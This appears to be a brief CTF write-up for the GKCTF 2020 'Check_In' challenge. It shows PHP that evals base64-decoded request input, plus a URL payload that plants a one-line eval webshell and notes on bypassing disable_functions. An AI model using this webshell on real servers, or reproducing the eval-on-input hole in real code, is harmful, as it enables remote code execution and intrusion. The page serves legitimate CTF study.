> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2020/2020-gkctf/check_in.md).

# Check\_In

```php
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }
        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();
```

一句话

```
url?Ginkgo=ZXZhbCgkX1BPU1RbJ29hdG1lYWwnXSk7
```

/readflag，需要绕过disable\_function，上传文件到/tmp/ 目录后包含

```
https://github.com/mm0r1/exploits
```